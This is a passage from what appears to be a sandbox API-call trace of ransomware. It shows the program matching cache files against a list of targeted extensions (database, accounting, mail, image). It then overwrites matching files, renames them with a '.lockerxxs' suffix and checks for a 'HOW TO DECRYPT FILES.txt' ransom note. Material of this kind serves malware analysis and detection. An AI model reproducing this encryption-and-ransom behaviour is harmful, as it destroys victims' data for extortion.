Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.709] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.709] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.709] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.709] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="close-icon[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" [0084.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.ems") returned 0 [0084.709] lstrlenA (lpString="*.ems") returned 5 [0084.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.db") returned 0 [0084.709] lstrlenA (lpString="*.db") returned 4 [0084.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.dbf") returned 0 [0084.709] lstrlenA (lpString="*.dbf") returned 5 [0084.709] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.myox") returned 0 [0084.709] lstrlenA (lpString="*.myox") returned 6 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.myo") returned 0 [0084.710] lstrlenA (lpString="*.myo") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbw") returned 0 [0084.710] lstrlenA (lpString="*.qbw") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbb") returned 0 [0084.710] lstrlenA (lpString="*.qbb") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbm") returned 0 [0084.710] lstrlenA (lpString="*.qbm") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbo") returned 0 [0084.710] lstrlenA (lpString="*.qbo") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbx") returned 0 [0084.710] lstrlenA (lpString="*.qbx") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qba") returned 0 [0084.710] lstrlenA (lpString="*.qba") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qby") returned 0 [0084.710] lstrlenA (lpString="*.qby") returned 5 [0084.710] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qbj") returned 0 [0084.710] lstrlenA (lpString="*.qbj") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.ofx") returned 0 [0084.711] lstrlenA (lpString="*.ofx") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.qif") returned 0 [0084.711] lstrlenA (lpString="*.qif") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.mye") returned 0 [0084.711] lstrlenA (lpString="*.mye") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.mbox") returned 0 [0084.711] lstrlenA (lpString="*.mbox") returned 6 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.eml") returned 0 [0084.711] lstrlenA (lpString="*.eml") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.pst") returned 0 [0084.711] lstrlenA (lpString="*.pst") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.ost") returned 0 [0084.711] lstrlenA (lpString="*.ost") returned 5 [0084.711] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.idx") returned 0 [0084.712] lstrlenA (lpString="*.idx") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.dbx") returned 0 [0084.712] lstrlenA (lpString="*.dbx") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.sql") returned 0 [0084.712] lstrlenA (lpString="*.sql") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.mdb") returned 0 [0084.712] lstrlenA (lpString="*.mdb") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.fdb") returned 0 [0084.712] lstrlenA (lpString="*.fdb") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.wab") returned 0 [0084.712] lstrlenA (lpString="*.wab") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.dat") returned 0 [0084.712] lstrlenA (lpString="*.dat") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.txt") returned 0 [0084.712] lstrlenA (lpString="*.txt") returned 5 [0084.712] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.jpeg") returned 0 [0084.712] lstrlenA (lpString="*.jpeg") returned 6 [0084.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.jpg") returned 0 [0084.713] lstrlenA (lpString="*.jpg") returned 5 [0084.713] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", pszSpec="*.png") returned 1 [0084.713] lstrlenA (lpString="*.png") returned 5 [0084.713] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" [0084.713] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" [0084.713] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png." [0084.713] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.lockerxxs" [0084.713] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.714] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13d [0084.714] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x610b9d00, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x610b9d00, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x610b9d00, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.714] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.714] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x117, lpOverlapped=0x0) returned 1 [0084.721] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png") returned="close-icon[1].png" [0084.721] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.722] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x117, lpOverlapped=0x0) returned 1 [0084.722] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.722] CloseHandle (hObject=0xa4) returned 1 [0084.722] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png.lockerxxs")) returned 1 [0084.723] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54e4ae90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54e4ae90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54e4ae90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269b2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="css[1].txt", cAlternateFileName="CSS_1_~1.TXT")) returned 1 [0084.724] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="css[1].txt") returned 1 [0084.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="css[1].txt") returned 1 [0084.724] lstrcmpiA (lpString1="", lpString2="css[1].txt") returned -1 [0084.724] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png") returned="close-icon[1].png" [0084.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.724] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.724] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.724] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.724] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="css[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" [0084.724] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.ems") returned 0 [0084.724] lstrlenA (lpString="*.ems") returned 5 [0084.724] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.db") returned 0 [0084.724] lstrlenA (lpString="*.db") returned 4 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.dbf") returned 0 [0084.725] lstrlenA (lpString="*.dbf") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.myox") returned 0 [0084.725] lstrlenA (lpString="*.myox") returned 6 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.myo") returned 0 [0084.725] lstrlenA (lpString="*.myo") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbw") returned 0 [0084.725] lstrlenA (lpString="*.qbw") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbb") returned 0 [0084.725] lstrlenA (lpString="*.qbb") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbm") returned 0 [0084.725] lstrlenA (lpString="*.qbm") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbo") returned 0 [0084.725] lstrlenA (lpString="*.qbo") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbx") returned 0 [0084.725] lstrlenA (lpString="*.qbx") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qba") returned 0 [0084.725] lstrlenA (lpString="*.qba") returned 5 [0084.725] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qby") returned 0 [0084.726] lstrlenA (lpString="*.qby") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qbj") returned 0 [0084.726] lstrlenA (lpString="*.qbj") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.ofx") returned 0 [0084.726] lstrlenA (lpString="*.ofx") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.qif") returned 0 [0084.726] lstrlenA (lpString="*.qif") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.mye") returned 0 [0084.726] lstrlenA (lpString="*.mye") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.mbox") returned 0 [0084.726] lstrlenA (lpString="*.mbox") returned 6 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.eml") returned 0 [0084.726] lstrlenA (lpString="*.eml") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.pst") returned 0 [0084.726] lstrlenA (lpString="*.pst") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.ost") returned 0 [0084.726] lstrlenA (lpString="*.ost") returned 5 [0084.726] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.idx") returned 0 [0084.727] lstrlenA (lpString="*.idx") returned 5 [0084.727] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.dbx") returned 0 [0084.727] lstrlenA (lpString="*.dbx") returned 5 [0084.727] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.sql") returned 0 [0084.727] lstrlenA (lpString="*.sql") returned 5 [0084.727] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.mdb") returned 0 [0084.727] lstrlenA (lpString="*.mdb") returned 5 [0084.727] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.fdb") returned 0 [0084.727] lstrlenA (lpString="*.fdb") returned 5 [0084.727] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.wab") returned 0 [0084.727] lstrlenA (lpString="*.wab") returned 5 [0084.728] PathMatchSpecA 